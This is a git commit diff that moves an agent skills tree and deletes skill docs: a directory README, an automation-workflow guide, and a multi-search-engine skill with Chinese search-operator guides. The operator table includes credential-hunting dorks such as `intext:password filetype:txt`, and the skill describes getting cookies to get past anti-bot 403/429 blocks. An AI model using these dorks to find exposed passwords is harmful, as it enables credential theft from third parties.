refactor: move bundled skills tree to repo root skills/

- Relocate runtime/skills -> skills/; runtime_skills_root() prefers oclaw/skills
  with fallback to legacy runtime/skills for unmigrated trees.
- session-bootstrap hook handler resolves repo root via PROJECT_ROOT.
- Update architecture/migration docs and in-tree skill references.

Co-authored-by: Cursor <cursoragent@cursor.com>
This commit is contained in:
oliver 2026-05-10 11:35:57 +08:00
parent 396dba76ea
commit beb52006d8
298 changed files with 51 additions and 51 deletions

View file

@ -32,7 +32,7 @@ Each hook directory needs `HOOK.md` (YAML frontmatter with `metadata.oclaw.event
`session-bootstrap` is wired into the hooks runtime and loads on `agent:bootstrap`.
- Hook package path: `runtime/skills/session-bootstrap/hooks/runtime/`
- Hook package path: `skills/session-bootstrap/hooks/runtime/`
- Manifest: `HOOK.md` (`metadata.oclaw.events: ["agent:bootstrap"]`)
- Handler: `handler.py` (`handle(event)`)
- Runtime source type: `oclaw-managed` (skill `hooks/` dirs are merged into `hooks.internal.load.extraDirs`)

View file

@ -1,74 +0,0 @@
# skills 目录说明
本目录是项目内默认 Skills 根目录(中文优先)。
## 约定
- 每个技能建议独立子目录,目录内放 `SKILL.md`。
- `SKILL.md` 建议包含 frontmatter(`name`、`description`、`metadata`)。
- 技能说明正文请优先使用中文,便于团队统一维护。
## 示例结构
- `oclaw/runtime/skills/<skill_name>/SKILL.md`
## 目录分层(重要)
- **主目录**:`oclaw/runtime/skills/<skill_name>/`
用于官方/手工管理的稳定技能(安装、维护、评审都在这层)。
- **自写目录(扁平)**:`oclaw/runtime/skills/_workspace/<skill_name>/`
兼容旧行为;新装技能优先按角色分桶(见下)。
- **公共目录**:`oclaw/runtime/skills/_workspace/public/<skill_name>/`
与 **按专家/角色目录** `oclaw/runtime/skills/_workspace/<role>/<skill_name>/`(如 `generalist`、`ops`)**平级**;`public` 下技能默认全员可用,不需角色绑定。
- **遗留会话桶**:`oclaw/runtime/skills/_workspace/_agent/<segment>/` 仅用于无绑定角色时的回退(如旧会话 id),新逻辑不应依赖该层。
说明:
- `auto_install_skill_from_payload` 产物默认落在 `_workspace` 下。
- 这样可以把“生产稳定技能”和“实验/自写技能”分开治理,便于审计与回滚。
## 兼容说明
- 运行时优先读取 `oclaw/runtime/skills`。
- 若设置了环境变量 `AIA_SKILLS_ROOT`,以该变量为准。
- 为兼容旧工程,仍可回退读取旧路径 `oclaw/runtime/skills/`(如存在)。
## 技能市场(安装来源)
- 租户设置 **`AIA_SKILL_MARKET_PROVIDER`**:`clawhub`(默认)或 **`cocoloop`**,由 `runtime/skills_market.get_market_adapter` 选择适配器;Admin「市场搜索 / 按 slug 安装」共用同一套路由。
- ClawHub:见 `runtime/tools/skills/clawhub_client.py`(`AIA_CLAWHUB_*` / `CLAWHUB_*`)。公开 API 说明可参考 [openclaw/clawhub CLI 文档](https://github.com/openclaw/clawhub/blob/main/docs/cli.md)。
- CocoLoop:`runtime/tools/skills/cocoloop_client.py`,默认 API 基址 `https://api.cocoloop.com`,可用 **`AIA_COCOLOOP_API_BASE`** 覆盖。
## 推荐实用 Skills(workspace)
以下为当前已落地并可直接在 Admin `Test run` 使用的实用技能:
### 1) `incident_triage`
- **用途**:对报错/日志做故障归因(timeout、permission、network 等)并给出行动建议。
- **输入参数示例**:
```json
{
"error": "TimeoutError: connection refused to upstream service"
}
```
- **典型输出**:`category`、`severity`、`summary`、`action_items`、`confidence`。
### 2) `release_checklist`
- **用途**:发版前门禁检查,输出是否可发版和阻塞项。
- **输入参数示例**:
```json
{
"tests_passed": true,
"lint_passed": true,
"migration_reviewed": true,
"rollback_plan_ready": true,
"monitoring_ready": true
}
```
- **典型输出**:`release_ready`、`failed_checks`、`missing_required_inputs`、`action_items`。
### 3) `data_extract_summary`
- **用途**:从文本/日志中抽取重点、统计级别并生成摘要建议。
- **输入参数示例**:
```json
{
"text": "INFO boot complete\nWARN cache miss\nERROR timeout connecting service",
"max_lines": 8
}
```
- **典型输出**:`summary`、`line_count`、`level_counts`、`top_keywords`、`action_items`。

View file

@ -1,267 +0,0 @@
---
name: automation-workflows
description: Design and implement automation workflows to save time and scale operations as a solopreneur. Use when identifying repetitive tasks to automate, building workflows across tools, setting up triggers and actions, or optimizing existing automations. Covers automation opportunity identification, workflow design, tool selection (Zapier, Make, n8n), testing, and maintenance. Trigger on "automate", "automation", "workflow automation", "save time", "reduce manual work", "automate my business", "no-code automation".
---
# Automation Workflows
## Overview
As a solopreneur, your time is your most valuable asset. Automation lets you scale without hiring. The goal is simple: automate anything you do more than twice a week that doesn't require creative thinking. This playbook shows you how to identify automation opportunities, design workflows, and implement them without writing code.
---
## Step 1: Identify What to Automate
Not every task should be automated. Start by finding the highest-value opportunities.
**Automation audit (spend 1 hour on this):**
1. Track every task you do for a week (use a notebook or simple spreadsheet)
2. For each task, note:
- How long it takes
- How often you do it (daily, weekly, monthly)
- Whether it's repetitive or requires judgment
3. Calculate time cost per task:
```
Time Cost = (Minutes per task × Frequency per month) / 60
```
Example: 15 min task done 20x/month = 5 hours/month
4. Sort by time cost (highest to lowest)
**Good candidates for automation:**
- Repetitive (same steps every time)
- Rule-based (no complex judgment calls)
- High-frequency (daily or weekly)
- Time-consuming (takes 10+ minutes)
**Examples:**
- ✅ Sending weekly reports to clients (same format, same schedule)
- ✅ Creating invoices after payment
- ✅ Adding new leads to CRM from form submissions
- ✅ Posting social media content on a schedule
- ❌ Conducting customer discovery interviews (requires nuance)
- ❌ Writing custom proposals for clients (requires creativity)
**Low-hanging fruit checklist (start here):**
- [ ] Email notifications for form submissions
- [ ] Auto-save form responses to spreadsheet
- [ ] Schedule social posts in advance
- [ ] Auto-create invoices from payment confirmations
- [ ] Sync data between tools (CRM ↔ email tool ↔ spreadsheet)
---
## Step 2: Choose Your Automation Tool
Three main options for no-code automation. Pick based on complexity and budget.
**Tool comparison:**
| Tool | Best For | Pricing | Learning Curve | Power Level |
|---|---|---|---|---|
| **Zapier** | Simple, 2-3 step workflows | $20-50/month | Easy | Low-Medium |
| **Make (Integromat)** | Visual, multi-step workflows | $9-30/month | Medium | Medium-High |
| **n8n** | Complex, developer-friendly, self-hosted | Free (self-hosted) or $20/month | Medium-Hard | High |
**Selection guide:**
- Budget < $20/month → Try Zapier free tier or n8n self-hosted
- Need visual workflow builder → Make
- Simple 2-step workflows → Zapier
- Complex workflows with branching logic → Make or n8n
- Want full control and customization → n8n
**Recommendation for solopreneurs:** Start with Zapier (easiest to learn). Graduate to Make or n8n when you hit Zapier's limits.
---
## Step 3: Design Your Workflow
Before building, map out the workflow on paper or a whiteboard.
**Workflow design template:**
```
TRIGGER: What event starts the workflow?
Example: "New row added to Google Sheet"
CONDITIONS (optional): Should this workflow run every time, or only when certain conditions are met?
Example: "Only if Status column = 'Approved'"
ACTIONS: What should happen as a result?
Step 1: [action]
Step 2: [action]
Step 3: [action]
ERROR HANDLING: What happens if something fails?
Example: "Send me a Slack message if action fails"
```
**Example workflow (lead capture → CRM → email):**
```
TRIGGER: New form submission on website
CONDITIONS: Email field is not empty
ACTIONS:
Step 1: Add lead to CRM (e.g., Airtable or HubSpot)
Step 2: Send welcome email via email tool (e.g., ConvertKit)
Step 3: Create task in project management tool (e.g., Notion) to follow up in 3 days
Step 4: Send me a Slack notification: "New lead: [Name]"
ERROR HANDLING: If Step 1 fails, send email alert to me
```
**Design principles:**
- Keep it simple — start with 2-3 steps, add complexity later
- Test each step individually before chaining them together
- Add delays between actions if needed (some APIs are slow)
- Always include error notifications so you know when things break
---
## Step 4: Build and Test Your Workflow
Now implement it in your chosen tool.
**Build workflow (Zapier example):**
1. **Choose trigger app** (e.g., Google Forms, Typeform, website form)
2. **Connect your account** (authenticate via OAuth)
3. **Test trigger** (submit a test form to make sure data comes through)
4. **Add action** (e.g., "Add row to Google Sheets")
5. **Map fields** (match form fields to spreadsheet columns)
6. **Test action** (run test to verify row is added correctly)
7. **Repeat for additional actions**
8. **Turn on workflow** (Zapier calls this "turn on Zap")
**Testing checklist:**
- [ ] Submit test data through the trigger
- [ ] Verify each action executes correctly
- [ ] Check that data maps to the right fields
- [ ] Test with edge cases (empty fields, special characters, long text)
- [ ] Test error handling (intentionally cause a failure to see if alerts work)
**Common issues and fixes:**
| Issue | Cause | Fix |
|---|---|---|
| Workflow doesn't trigger | Trigger conditions too narrow | Check filter settings, broaden criteria |
| Action fails | API rate limit or permissions | Add delay between actions, re-authenticate |
| Data missing or incorrect | Field mapping wrong | Double-check which fields are mapped |
| Workflow runs multiple times | Duplicate triggers | De-duplicate based on unique ID |
**Rule:** Test with real data before relying on an automation. Don't discover bugs when a real customer is involved.
---
## Step 5: Monitor and Maintain Automations
Automations aren't set-it-and-forget-it. They break. Tools change. APIs update. You need a maintenance plan.
**Weekly check (5 min):**
- Scan workflow logs for errors (most tools show a log of runs + failures)
- Address any failures immediately
**Monthly audit (15 min):**
- Review all active workflows
- Check: Is this still being used? Is it still saving time?
- Disable or delete unused workflows (they clutter your dashboard and can cause confusion)
- Update any workflows that depend on tools you've switched away from
**Where to store workflow documentation:**
- Create a simple doc (Notion, Google Doc) for each workflow
- Include: What it does, when it runs, what apps it connects, how to troubleshoot
- If you have 10+ workflows, this doc will save you hours when something breaks
**Error handling setup:**
- Route all error notifications to one place (Slack channel, email inbox, or task manager)
- Set up: "If any workflow fails, send a message to [your error channel]"
- Review errors weekly and fix root causes
---
## Step 6: Advanced Automation Ideas
Once you've automated the basics, consider these higher-leverage workflows:
### Client onboarding automation
```
TRIGGER: New client signs contract (via DocuSign, HelloSign)
ACTIONS:
1. Create project in project management tool
2. Add client to CRM with "Active" status
3. Send onboarding email sequence
4. Create invoice in accounting software
5. Schedule kickoff call on calendar
6. Add client to Slack workspace (if applicable)
```
### Content distribution automation
```
TRIGGER: New blog post published on website (via RSS or webhook)
ACTIONS:
1. Post link to LinkedIn with auto-generated caption
2. Post link to Twitter as a thread
3. Add post to email newsletter draft (in email tool)
4. Add to content calendar (Notion or Airtable)
5. Send notification to team (Slack) that post is live
```
### Customer health monitoring
```
TRIGGER: Every Monday at 9am (scheduled trigger)
ACTIONS:
1. Pull usage data for all customers from database (via API)
2. Flag customers with <50% of average usage
3. Add flagged customers to "At Risk" segment in CRM
4. Send re-engagement email campaign to at-risk customers
5. Create task for me to personally reach out to top 10 at-risk customers
```
### Invoice and payment tracking
```
TRIGGER: Payment received (Stripe webhook)
ACTIONS:
1. Mark invoice as paid in accounting software
2. Send receipt email to customer
3. Update CRM: customer status = "Paid"
4. Add revenue to monthly dashboard (Google Sheets or Airtable)
5. Send me a Slack notification: "Payment received: $X from [Customer]"
```
---
## Step 7: Calculate Automation ROI
Not every automation is worth the time investment. Calculate ROI to prioritize.
**ROI formula:**
```
Time Saved per Month (hours) = (Minutes per task / 60) × Frequency per month
Cost = (Setup time in hours × $50/hour) + Tool cost per month
Payback Period (months) = Setup cost / Monthly time saved value
If payback period < 3 months → Worth it
If payback period > 6 months → Probably not worth it (unless it unlocks other value)
```
**Example:**
```
Task: Manually copying form submissions to CRM (15 min, 20x/month = 5 hours/month saved)
Setup time: 1 hour
Tool cost: $20/month (Zapier)
Payback: ($50 setup cost) / ($250/month value saved) = 0.2 months → Absolutely worth it
```
**Rule:** Focus on automations with payback < 3 months. Those are your highest-leverage investments.
---
## Automation Mistakes to Avoid
- **Automating before optimizing.** Don't automate a bad process. Fix the process first, then automate it.
- **Over-automating.** Not everything needs to be automated. If a task is rare or requires judgment, do it manually.
- **No error handling.** If an automation breaks and you don't know, it causes silent failures. Always set up error alerts.
- **Not testing thoroughly.** A broken automation is worse than no automation — it creates incorrect data or missed tasks.
- **Building too complex too fast.** Start with simple 2-3 step workflows. Add complexity only when the simple version works perfectly.
- **Not documenting workflows.** Future you will forget how this works. Write it down.

View file

@ -1,6 +0,0 @@
{
"ownerId": "kn732qfbv22he1jqm63xbwq6e980kn8s",
"slug": "automation-workflows",
"version": "0.1.0",
"publishedAt": 1770341582349
}

View file

@ -1,18 +0,0 @@
# Changelog
## v2.1.0 (2026-04-11)
- Version bump to 2.1.0
## v2.0.1 (2026-02-06)
- Simplified documentation
- Removed gov-related content
- Optimized for ClawHub publishing
## v2.0.0 (2026-02-06)
- Added 9 international search engines
- Enhanced advanced search capabilities
- Added DuckDuckGo Bangs support
- Added WolframAlpha knowledge queries
## v1.0.0 (2026-02-04)
- Initial release with 8 domestic search engines

View file

@ -1,48 +0,0 @@
# Multi Search Engine
## 基本信息
- **名称**: multi-search-engine
- **版本**: v2.0.1
- **描述**: 集成16个搜索引擎(7国内+9国际),支持高级搜索语法
- **发布时间**: 2026-02-06
## 搜索引擎
**国内(7个)**: 百度、必应CN、必应INT、360、搜狗、微信、神马
**国际(9个)**: Google、Google HK、DuckDuckGo、Yahoo、Startpage、Brave、Ecosia、Qwant、WolframAlpha
## 核心功能
- 高级搜索操作符(site:, filetype:, intitle:等)
- DuckDuckGo Bangs快捷命令
- 时间筛选(小时/天/周/月/年)
- 隐私保护搜索
- WolframAlpha知识计算
## 更新记录
### v2.0.1 (2026-02-06)
- 精简文档,优化发布
### v2.0.0 (2026-02-06)
- 新增9个国际搜索引擎
- 强化深度搜索能力
### v1.0.0 (2026-02-04)
- 初始版本:8个国内搜索引擎
## 使用示例
```javascript
// Google搜索
web_fetch({"url": "https://www.google.com/search?q=python"})
// 隐私搜索
web_fetch({"url": "https://duckduckgo.com/html/?q=privacy"})
// 站内搜索
web_fetch({"url": "https://www.google.com/search?q=site:github.com+python"})
```
MIT License

View file

@ -1,215 +0,0 @@
---
name: "multi-search-engine"
description: "Multi search engine integration with 16 engines (7 CN + 9 Global). Supports advanced search operators, time filters, site search, privacy engines, and WolframAlpha knowledge queries. No API keys required."
---
# Multi Search Engine
Integration of 16 search engines for web crawling without API keys.
## Workflow
1. **Preparation**: AI Agent initializes an empty in-memory cookie store. Cookies are only acquired dynamically during search operations when access is denied
2. **Language Evaluation**: Detect the language attribute of the search query. If the query is in Chinese, use Domestic search engines (Baidu, Bing CN, Bing INT, 360, Sogou, WeChat, Shenma). If the query is non-Chinese, use International search engines (Google, Google HK, DuckDuckGo, Yahoo, Startpage, Brave, Ecosia, Qwant, WolframAlpha). Select engines based on query relevance and availability.
3. **Controlled Search (Reachability-first)**: Use `web_search_fast` to search and `web_fetch_clean` to read result pages:
- Prefer `provider=auto` first (current fallback order: `official_bing/official_google(if configured) -> ddg_html -> bing_html -> ddg_api`)
- Prefer `engine` + `site` for deterministic routing only when that engine is known reachable in current environment
- Read details only for top 1-3 URLs using `web_fetch_clean`
- If result pages fail with anti-bot/SSRF, switch to another source URL instead of blind retries
4. **Cookie Management**:
- Cookies are stored ONLY in memory during runtime
- Cookies are acquired on-demand when search requests fail
- No cookies are read from or written to config.json or any file
- Cookies are cleared after search session completes
- Only session cookies from search engine domains are captured
5. **Retry Mechanism**: If a search fails due to cookie/session issues, retry once with freshly acquired cookies after a 2-second delay
6. **Result Aggregation**: Consolidate successful results from search engines, organize and summarize them to output a core search report
## Search Engines
### Domestic (7)
- **Baidu**: `https://www.baidu.com/s?wd={keyword}`
- **Bing CN**: `https://cn.bing.com/search?q={keyword}&ensearch=0`
- **Bing INT**: `https://cn.bing.com/search?q={keyword}&ensearch=1`
- **360**: `https://www.so.com/s?q={keyword}`
- **Sogou**: `https://sogou.com/web?query={keyword}`
- **WeChat**: `https://wx.sogou.com/weixin?type=2&query={keyword}`
- **Shenma**: `https://m.sm.cn/s?q={keyword}`
### International (9)
- **Google**: `https://www.google.com/search?q={keyword}`
- **Google HK**: `https://www.google.com.hk/search?q={keyword}`
- **DuckDuckGo**: `https://duckduckgo.com/html/?q={keyword}`
- **Yahoo**: `https://search.yahoo.com/search?p={keyword}`
- **Startpage**: `https://www.startpage.com/sp/search?query={keyword}`
- **Brave**: `https://search.brave.com/search?q={keyword}`
- **Ecosia**: `https://www.ecosia.org/search?q={keyword}`
- **Qwant**: `https://www.qwant.com/?q={keyword}`
- **WolframAlpha**: `https://www.wolframalpha.com/input?i={keyword}`
## Quick Examples (Recommended)
```javascript
// Basic search (auto fallback chain)
web_search_fast({"query":"python tutorial","provider":"auto","max_results":8})
// Official Bing API
web_search_fast({"query":"latest ai policy","provider":"official_bing","max_results":8})
// Official Google Programmable Search API
web_search_fast({"query":"latest ai policy","provider":"official_google","max_results":8})
// Auto + prefer Google first among official providers
web_search_fast({"query":"latest ai policy","provider":"auto","official_provider":"google","max_results":8})
// Site-specific with deterministic engine
web_search_fast({"query":"react hooks best practices","engine":"bing","site":"github.com"})
// Domestic CN engine route
web_search_fast({"query":"人工智能 最新 进展","engine":"bing_cn","max_results":10})
// Full custom engine URL template from config
web_search_fast({"query":"privacy tools","engine_url":"https://duckduckgo.com/html/?q={keyword}"})
// Fetch details for selected result URL
web_fetch_clean({"url":"https://www.bing.com/search?q=Iran+news","max_chars":18000})
// Optional: URL-level fallback when search engines are unstable
web_fetch_clean({"url":"https://www.bing.com/search?q=site:reuters.com+iran+news"})
```
## Tool Parameters (web_search_fast)
- `query`: required search text
- `engine`: optional named engine (`bing`, `bing_cn`, `bing_int`, `ddg`, `google`, `google_hk`, `baidu`, `sogou`)
- `site`: optional domain constraint; auto-converted to `site:domain query`
- `engine_url`: optional URL template with `{keyword}`; overrides `engine`
- `provider`: fallback strategy (`auto`, `official_api`, `official_bing`, `official_google`, `ddg_api`, `ddg_html`, `bing_html`) where `auto` routes by availability first
- `official_provider`: optional preference hint for official providers (`auto`, `bing`, `google`)
- `max_results`: 1..20
- Official Bing env: `OCLAW_WEB_SEARCH_BING_API_KEY` + optional `OCLAW_WEB_SEARCH_BING_API_ENDPOINT`
- Official Google env: `OCLAW_WEB_SEARCH_GOOGLE_API_KEY` + `OCLAW_WEB_SEARCH_GOOGLE_CSE_ID` + optional `OCLAW_WEB_SEARCH_GOOGLE_API_ENDPOINT`
- Backward compatibility: legacy `OCLAW_WEB_SEARCH_OFFICIAL_API_KEY` and `OCLAW_WEB_SEARCH_OFFICIAL_API_ENDPOINT` still map to Bing official provider
## Official API Setup (Optional, can defer)
If you do not have official API keys yet, use:
```javascript
web_search_fast({"query":"latest ai policy","provider":"auto","max_results":8})
```
This will skip official providers when keys are missing and continue with HTML/API fallback.
### Bing official API (optional)
1. Create a Bing Search resource in Azure portal.
2. Open resource page and copy Key + Endpoint.
3. Set environment variables:
```powershell
$env:OCLAW_WEB_SEARCH_BING_API_KEY="your_bing_key"
$env:OCLAW_WEB_SEARCH_BING_API_ENDPOINT="https://api.bing.microsoft.com/v7.0/search"
```
### Google official API (optional)
1. Enable Google Custom Search JSON API in Google Cloud.
2. Create Programmable Search Engine and get `cx`.
3. Create API key and set environment variables:
```powershell
$env:OCLAW_WEB_SEARCH_GOOGLE_API_KEY="your_google_key"
$env:OCLAW_WEB_SEARCH_GOOGLE_CSE_ID="your_cse_id"
$env:OCLAW_WEB_SEARCH_GOOGLE_API_ENDPOINT="https://customsearch.googleapis.com/customsearch/v1"
```
### Notes
- Env vars in PowerShell apply to current shell session only.
- After changing system-level env vars, restart the runtime process.
- If official API is not configured now, keep using `provider=auto` and revisit later.
### Diagnostics in return payload
- `provider_attempts`: each attempted backend with `ok`, `count`, `elapsed_ms`, and error fields
- `error_category`: normalized failure category (`ssrf_blocked`, `anti_bot_401_403`, `timeout`, `dns_error`, `network_error`, `upstream_4xx`, `upstream_5xx`, `no_results`, `unknown_error`)
## Advanced Operators
| Operator | Example | Description |
|----------|---------|-------------|
| `site:` | `site:github.com python` | Search within site |
| `filetype:` | `filetype:pdf report` | Specific file type |
| `""` | `"machine learning"` | Exact match |
| `-` | `python -snake` | Exclude term |
| `OR` | `cat OR dog` | Either term |
## Time Filters
| Parameter | Description |
|-----------|-------------|
| `tbs=qdr:h` | Past hour |
| `tbs=qdr:d` | Past day |
| `tbs=qdr:w` | Past week |
| `tbs=qdr:m` | Past month |
| `tbs=qdr:y` | Past year |
## Privacy Engines
- **DuckDuckGo**: No tracking
- **Startpage**: Google results + privacy
- **Brave**: Independent index
- **Qwant**: EU GDPR compliant
## Bangs Shortcuts (DuckDuckGo)
| Bang | Destination |
|------|-------------|
| `!g` | Google |
| `!gh` | GitHub |
| `!so` | Stack Overflow |
| `!w` | Wikipedia |
| `!yt` | YouTube |
## WolframAlpha Queries (Caveat)
- WolframAlpha HTML pages are often not suitable as structured answers in blocked environments.
- For deterministic math/finance/units, prefer APIs/tools that provide structured outputs.
- Use WolframAlpha URL search as a hint source, not as guaranteed machine-readable result.
## Documentation
- `references/advanced-search.md` - Domestic search guide
- `references/international-search.md` - International search guide
- `CHANGELOG.md` - Version history
## License
MIT
## Security & Privacy Notice
### Cookie Handling
- **Purpose**: Cookies are used ONLY to maintain search session state when access is denied (403/429 errors)
- **Storage**: Cookies are kept STRICTLY in memory during runtime - NEVER persisted to disk or config files
- **Acquisition**: Cookies are acquired on-demand from search engine homepages only when search requests fail
- **Scope**: Only session cookies from the specific search engine domain are captured
- **Lifecycle**: Cookies are cleared immediately after the search session completes
- **No Pre-configuration**: No cookies are loaded from config.json or any external file at startup
- **No API Keys**: This tool uses standard web search URLs, no authentication required
### Crawling Ethics
- **Rate Limiting**: Implement reasonable delays between requests (recommend 1-2 seconds)
- **Respect robots.txt**: Honor search engine crawling policies
- **Terms of Service**: Users are responsible for complying with search engine ToS
- **Purpose**: Designed for legitimate search aggregation, not mass data scraping
### Data Handling
- **No Personal Data**: Tool does not collect or transmit user personal information
- **Local Execution**: All operations run locally, no external data transmission
- **Session Isolation**: Cookies are session-specific and cleared after use

View file

@ -1,6 +0,0 @@
{
"ownerId": "kn79j8kk7fb9w10jh83803j7f180a44m",
"slug": "multi-search-engine",
"version": "2.1.3",
"publishedAt": 1775879953831
}

View file

@ -1,85 +0,0 @@
{
"name": "multi-search-engine",
"engines": [
{
"name": "Baidu",
"url": "https://www.baidu.com/s?wd={keyword}",
"region": "cn"
},
{
"name": "Bing CN",
"url": "https://cn.bing.com/search?q={keyword}&ensearch=0",
"region": "cn"
},
{
"name": "Bing INT",
"url": "https://cn.bing.com/search?q={keyword}&ensearch=1",
"region": "cn"
},
{
"name": "360",
"url": "https://www.so.com/s?q={keyword}",
"region": "cn"
},
{
"name": "Sogou",
"url": "https://sogou.com/web?query={keyword}",
"region": "cn"
},
{
"name": "WeChat",
"url": "https://wx.sogou.com/weixin?type=2&query={keyword}",
"region": "cn"
},
{
"name": "Shenma",
"url": "https://m.sm.cn/s?q={keyword}",
"region": "cn"
},
{
"name": "Google",
"url": "https://www.google.com/search?q={keyword}",
"region": "global"
},
{
"name": "Google HK",
"url": "https://www.google.com.hk/search?q={keyword}",
"region": "global"
},
{
"name": "DuckDuckGo",
"url": "https://duckduckgo.com/html/?q={keyword}",
"region": "global"
},
{
"name": "Yahoo",
"url": "https://search.yahoo.com/search?p={keyword}",
"region": "global"
},
{
"name": "Startpage",
"url": "https://www.startpage.com/sp/search?query={keyword}",
"region": "global"
},
{
"name": "Brave",
"url": "https://search.brave.com/search?q={keyword}",
"region": "global"
},
{
"name": "Ecosia",
"url": "https://www.ecosia.org/search?q={keyword}",
"region": "global"
},
{
"name": "Qwant",
"url": "https://www.qwant.com/?q={keyword}",
"region": "global"
},
{
"name": "WolframAlpha",
"url": "https://www.wolframalpha.com/input?i={keyword}",
"region": "global"
}
]
}

View file

@ -1,7 +0,0 @@
{
"name": "multi-search-engine",
"version": "2.1.0",
"description": "Multi search engine with 16 engines (7 CN + 9 Global). Supports advanced operators, time filters, privacy engines.",
"engines": 16,
"requires_api_key": false
}

View file

@ -1,146 +0,0 @@
# 国内搜索引擎深度搜索指南
## 🔍 百度 (Baidu)
### 特色功能
| 功能 | 说明 | URL |
|------|------|-----|
| **中文优化** | 中文内容索引最全 | `https://www.baidu.com/s?wd={keyword}` |
| **百度学术** | 学术资源搜索 | `https://xueshu.baidu.com/s?wd={keyword}` |
| **百度新闻** | 新闻聚合 | `https://news.baidu.com/` |
### 搜索示例
```javascript
// 1. 基础搜索
web_fetch({"url": "https://www.baidu.com/s?wd=Python教程"})
// 2. 站内搜索
web_fetch({"url": "https://www.baidu.com/s?wd=site:github.com+python"})
// 3. 文件类型搜索
web_fetch({"url": "https://www.baidu.com/s?wd=机器学习+filetype:pdf"})
// 4. 学术搜索
web_fetch({"url": "https://xueshu.baidu.com/s?wd=深度学习+图像识别"})
```
---
## 🔎 必应中国版 (Bing CN/INT)
### 特色功能
| 功能 | 说明 | URL |
|------|------|-----|
| **中文优化** | `ensearch=0` 中文结果 | `https://cn.bing.com/search?q={keyword}&ensearch=0` |
| **国际版** | `ensearch=1` 英文结果 | `https://cn.bing.com/search?q={keyword}&ensearch=1` |
| **学术搜索** | 学术资源 | `https://cn.bing.com/academic/search?q={keyword}` |
### 搜索示例
```javascript
// 1. 中文搜索结果
web_fetch({"url": "https://cn.bing.com/search?q=人工智能技术&ensearch=0"})
// 2. 英文搜索结果(使用中国服务器)
web_fetch({"url": "https://cn.bing.com/search?q=artificial+intelligence&ensearch=1"})
// 3. 学术搜索
web_fetch({"url": "https://cn.bing.com/academic/search?q=机器学习算法"})
```
---
## 🔍 360搜索
### 特色功能
| 功能 | 说明 | URL |
|------|------|-----|
| **安全搜索** | 内置安全防护 | 默认开启 |
| **基础搜索** | 网页搜索 | `https://www.so.com/s?q={keyword}` |
### 搜索示例
```javascript
// 1. 基础搜索
web_fetch({"url": "https://www.so.com/s?q=网络安全"})
// 2. 站内搜索
web_fetch({"url": "https://www.so.com/s?q=site:zhihu.com+python"})
```
---
## 🔍 搜狗 (Sogou) + 微信搜索
### 特色功能
| 功能 | 说明 | URL |
|------|------|-----|
| **网页搜索** | 通用搜索 | `https://sogou.com/web?query={keyword}` |
| **微信公众号** | 搜公众号文章(唯一渠道) | `https://wx.sogou.com/weixin?type=2&query={keyword}` |
| **知乎优化** | 知乎内容索引好 | `site:zhihu.com` 配合使用 |
### 搜索示例
```javascript
// 1. 网页搜索
web_fetch({"url": "https://sogou.com/web?query=python教程"})
// 2. 微信公众号文章搜索
web_fetch({"url": "https://wx.sogou.com/weixin?type=2&query=Python编程"})
// 3. 搜索特定公众号
web_fetch({"url": "https://wx.sogou.com/weixin?type=2&query=公众号:机器之心"})
// 4. 知乎内容搜索
web_fetch({"url": "https://www.sogou.com/web?query=site:zhihu.com+机器学习"})
```
---
## 📱 神马搜索 (Shenma)
### 特色功能
| 功能 | 说明 | URL |
|------|------|-----|
| **移动优化** | 专注移动端搜索 | `https://m.sm.cn/s?q={keyword}` |
| **阿里生态** | 整合阿里系内容 | UC浏览器默认搜索 |
### 搜索示例
```javascript
// 1. 移动端搜索
web_fetch({"url": "https://m.sm.cn/s?q=python入门教程"})
// 2. 移动网站点搜索
web_fetch({"url": "https://m.sm.cn/s?q=site:zhuanlan.zhihu.com+AI"})
```
---
## 🌍 国内搜索策略
### 按搜索目标选择引擎
| 搜索目标 | 首选引擎 | 原因 |
|---------|---------|------|
| **综合中文内容** | 百度 | 中文索引最全 |
| **微信公众号** | 搜狗微信 | 唯一支持公众号搜索 |
| **知乎内容** | 搜狗 | 知乎优化好 |
| **移动端内容** | 神马 | 移动端优化 |
| **学术资源** | 必应学术 | 学术索引 |
| **中英文双语** | 必应中国/国际版 | enswitch切换 |
| **新闻资讯** | 百度新闻 | 新闻聚合 |
---
## 📚 参考资料
- [百度搜索高级语法](https://baike.baidu.com/item/搜索语法)
- [必应搜索技巧](https://cn.bing.com/tips)
- [搜狗搜索帮助](https://help.sogou.com/)

View file

@ -1,398 +0,0 @@
# 国际搜索引擎深度搜索指南
## 🔍 Google 深度搜索
### 1.1 基础高级搜索操作符
| 操作符 | 功能 | 示例 | URL |
|--------|------|------|-----|
| `""` | 精确匹配 | `"machine learning"` | `https://www.google.com/search?q=%22machine+learning%22` |
| `-` | 排除关键词 | `python -snake` | `https://www.google.com/search?q=python+-snake` |
| `OR` | 或运算 | `machine learning OR deep learning` | `https://www.google.com/search?q=machine+learning+OR+deep+learning` |
| `*` | 通配符 | `machine * algorithms` | `https://www.google.com/search?q=machine+*+algorithms` |
| `()` | 分组 | `(apple OR microsoft) phones` | `https://www.google.com/search?q=(apple+OR+microsoft)+phones` |
| `..` | 数字范围 | `laptop $500..$1000` | `https://www.google.com/search?q=laptop+%24500..%241000` |
### 1.2 站点与文件搜索
| 操作符 | 功能 | 示例 |
|--------|------|------|
| `site:` | 站内搜索 | `site:github.com python projects` |
| `filetype:` | 文件类型 | `filetype:pdf annual report` |
| `inurl:` | URL包含 | `inurl:login admin` |
| `intitle:` | 标题包含 | `intitle:"index of" mp3` |
| `intext:` | 正文包含 | `intext:password filetype:txt` |
| `cache:` | 查看缓存 | `cache:example.com` |
| `related:` | 相关网站 | `related:github.com` |
| `info:` | 网站信息 | `info:example.com` |
### 1.3 时间筛选参数
| 参数 | 含义 | URL示例 |
|------|------|---------|
| `tbs=qdr:h` | 过去1小时 | `https://www.google.com/search?q=news&tbs=qdr:h` |
| `tbs=qdr:d` | 过去24小时 | `https://www.google.com/search?q=news&tbs=qdr:d` |
| `tbs=qdr:w` | 过去1周 | `https://www.google.com/search?q=news&tbs=qdr:w` |
| `tbs=qdr:m` | 过去1月 | `https://www.google.com/search?q=news&tbs=qdr:m` |
| `tbs=qdr:y` | 过去1年 | `https://www.google.com/search?q=news&tbs=qdr:y` |
| `tbs=cdr:1,cd_min:1/1/2024,cd_max:12/31/2024` | 自定义日期范围 | 2024年全年 |
### 1.4 语言和地区筛选
| 参数 | 功能 | 示例 |
|------|------|------|
| `hl=en` | 界面语言 | `https://www.google.com/search?q=test&hl=en` |
| `lr=lang_zh-CN` | 搜索结果语言 | `https://www.google.com/search?q=test&lr=lang_zh-CN` |
| `cr=countryCN` | 国家/地区 | `https://www.google.com/search?q=test&cr=countryCN` |
